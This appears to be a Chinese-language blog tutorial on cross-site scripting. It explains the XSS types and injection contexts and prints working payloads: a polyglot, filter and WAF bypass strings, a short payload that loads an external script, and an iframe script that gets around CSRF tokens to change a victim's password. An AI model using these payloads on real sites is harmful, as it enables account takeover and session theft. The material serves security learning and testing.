XSS tutorial

1 什么是XSS

是一种客户端侧的攻击,在受害者的浏览器端执行代码,可能是在web应用中注入JS代码、让受害者访问有问题 的URL。或者,通过直接让用户点击一个有payload的URL。这三种类型主要是:反射型XSS、存储型XSS和基于DOM的XSS。

后面两个有什么区别吗?

2 不同类型的XSS

  • 存储型XSS

    用户输入被存储,之后被web页面渲染。存储型XSS的典型入口是:信息论坛、播客的评论、用户简介、用户名等。攻击者利用这种漏洞,在一些页面注入XSS payload,或者诱使用户点击链接。受害者访问后,payload会被受害者的web浏览器执行。

  • 反射型XSS

    不会在服务端保存,只是在返回的响应html中。

    web服务器响应返回,然后在浏览器中渲染执行。整个攻击在一个单次的请求和响应中。

    注意点:

    • web服务器不保存XSS payload
    • payload被反射and是不持久的
    • 通过web服务器来反射payload

    例子:

    用户提供输入,然后在web页面中反射。一个比较典型的例子,比如一个论坛,接收用户输入,然后在页面的响应中反射它。例如,一个论坛,在提交表单后,打印用户姓名,大概就是输入用户名后,会在页面上返回这么一个信息“Thanks for your enquiry $YourName, we’ll be in touch shortly”。

  • 基于dom的XSS

    它不用Web服务器处理,受害者只需点击链接,然后客户端就直接渲染。

    基于DOM的XSS不会被发送给服务器,因此如果前端页面没有做处理,就会导致XSS的发生。因为它不会被发送到服务端,因此服务端的过滤机制,无法防御DOM XSS。

    它的一些入口点

    • document.location
    • document.referrer
    • window.name
    • location.*
    • location.href
    • document.documentURI
  • Self xss(其实不算是一种分类

    比如有一个页面,用户简介页面,只有你自己可以访问,这个页面的xss就可以理解为self xss。

    self xss是从危害方面来看的,只能攻击到你自己,无法攻击其他用户。

    不过在一些场景下,可以和CSRF漏洞结合来进一步利用。

XSS的一些危害

  • 重定向浏览器
  • 链接取代
  • hooking浏览器 - beef
  • cookie窃取
  • key logging
  • 使用XSS去窃取CSRF tokens(这怎么窃取啊
  • abusing html5

XSS是Web上最为常见的应用,使得攻击者可以在受害者的浏览器中执行client-side的JS脚本。

XSS是一个非常有趣和动态的bug,它的产生有很多原因。

  • 它的危害程度可以从information到critical,这取决于应用和context
  • 在一些场景下,它可以导致rce
  • 由于它的动态特性,它比较难以防御,在整个开发周期中
  • 许多复杂的XSS漏洞,会被自动化工具忽略

XSS的成因:没有正确处理用户输入.

Context is everything

当你开始考虑,用户输入的反射有多少场景时,就能理解为什么自动化检测XSS会很难了。

下面来简单看一下,用户输入可能反射在哪些地方。

  1. 在正常的html标签中

    <p>
      {{injection}}
    </p>
    
  2. html属性中--双引号

    <input type="text" valuue="{{injection}}">
    
  3. html属性中--单引号

    <input type="text" value='{{injection}}'>
    
  4. html属性中-无引号

    <input type="text" value={{injection}}>
    
  5. html注释中

    <!-- {{injection}} -->
    
  6. html事件处理中

    <img src=x onerror="{{injection}}" >
    
  7. script标签中

    <script>var x = "{{injection}}";</script>
    
  8. url中

    <a href="{{injection}}">click me</a>
    

以上只是部分示例,还有许多其他的场景。重要的是,你要清楚你正在注入的context,以及在该context下,知道如何绕过或abuse来达到XSS。

XSS发现方法

手动尝试每一个参数,测试注入,检查context,然后尝试利用。这会比较慢,很费力,但是会发现许多其他人忽略的问题。

XSS polyglot

XSS polyglot是一个字符串,能够在不同的context中注入and导致JS的执行。著名的xss polyglot如下,能够在超过20个contexts中生效。

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

可以参考:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

自动化scanner

网上有很多XSS scanner,但。。大部分效果都不怎么滴。

因为有的XSS,是在某个页面输入,然后在别的页面触发,很多scanner都检测不到。

XSS bypass

通常,你会遇到存在filter的场景,导致XSS payload失败。这些filter可能很容易绕过,也可能很难绕过,甚至无法绕过。最基本的filter是简单的字符串搜索,比如,在后端收缩script关键字,找到的话就返回403 error。

<?php
$name = $_GET['name'];
if (strpos($name, 'script') !== false) {
    http_response_code(403);
    die('Forbidden');
}
?>

html event属性

onerror事件。

<img src=x onerror=alert(1)>

alert is blocked

在一些场景下,alert被列入了黑名单。这个也很简单,可以用prompt(1)alert(1)来绕过。

括号()被blocked

JS是一门奇怪的语言。出于一些原因,当向函数传递字符串时,它允许你使用反印号来代替括号。

alert`1`

strings are blocked

有时,某些场景会导致你无法组成字符串,比如引号被blocked。这种场景下,String.fromCharCode会非常有用,,它会把ASCII code转换成字符串。

alert(String.fromCharCode(88, 83, 83));

other bypasses

XSS bypass是一个大坑。

比如有个Cloudflare的xss bypass,payload是

<svg onload=prompt%26%230000000040document.domain)

常见payload参考:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#filter-bypass-and-exotic-payloads

XSS Escalation methods

使用更长的payloads。

bypass the sop

你能找到的最棒的XSS,大概就是允许你完全的绕过同源策略。XSS,一般执行的context就是应用本身,就像你的pyaload就是硬编码在应用中的。

这意味着,你可以在受害者所在的应用中执行任何操作。比如提交表单,修改profile,评论,更新密码,安装插件等。

bypass csrf tokens

发现了XSS后,如何提交需要CSRF Token的表单?有许多不同的方法,ifame就是一个很好的选择。如果页面是被iframe加载的,那么表单会自动提交CSRF Token。

这是为什么?

frame=document.createElement("iframe");
frame.addEventListener("load", function() {
    // Wait 1 second after the iframe loads to ensure that the DOM has loaded
    setTimeout(function(){
        //Set new password
                frame.contentDocument.getElementById("NewPassword").value="1337H4x0rz!!!"
        //Set confirm password
                frame.contentDocument.getElementById("ConfirmNewPassword").value="1337H4x0rz!!!"
        //Click the submit button
        frame.contentDocument.getElementById("SubmitButton").click()
        setTimeout(function(){
            //Wait a couple seconds for the previous request to be sent
            alert("Your account password has been changed to 1337H4x0rz!!!")
        }, 2000)
    }, 1000)
});

frame.src="https://example.com/sensitive/action.php";
document.body.append(frame);

other cases

下面是一些比较特殊的例子。

长度受限的payload

不拉取外部脚本的,最短的payload,20个字符

<svg/onload=alert()>

pull外部脚本的payload,27个字符

<script/src=//㎻.₨></script>

这里用到了一个trick,一个unicode字符,将会被浏览器拆分成两个正常的字符,这意味着你可以把5个字符的domain(比如nw.rs)缩短到3个字符㎻.₨,浏览器会把它转换成5个字符并获取脚本。

这怎么转换呢?

注意,这是在html context下,如果是在JS context下,直接alert(1)就行了。

link injection

你可以使用javascript:协议来执行JS,比如javascript:alert(document.domain)

它可以被注入到任何link,例如<a>标签。

<a href="javascript:alert(document.domain)>click me</a>

Referer Header XSS

这在IE6之后,几乎就不可能了,除非是一些极端case。原因在于Referer Header中的一些关键字符被浏览器进行了URL编码。

RCE via XSS in electron apps

electron非常的简洁,它允许你通过JS、html、css来创建桌面应用,像VSCode、Slack、Twitch等都是用的Electron。有一个feature叫nodeIntegration,允许你在应用中运行nodejs代码。

如果你在Electron应用中发现了XSS,并且nodeIntegration是开启的,那么就会打到rce。

推荐阅读:Portswigger's great writeup,著名的XSS to ice bug。

References

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。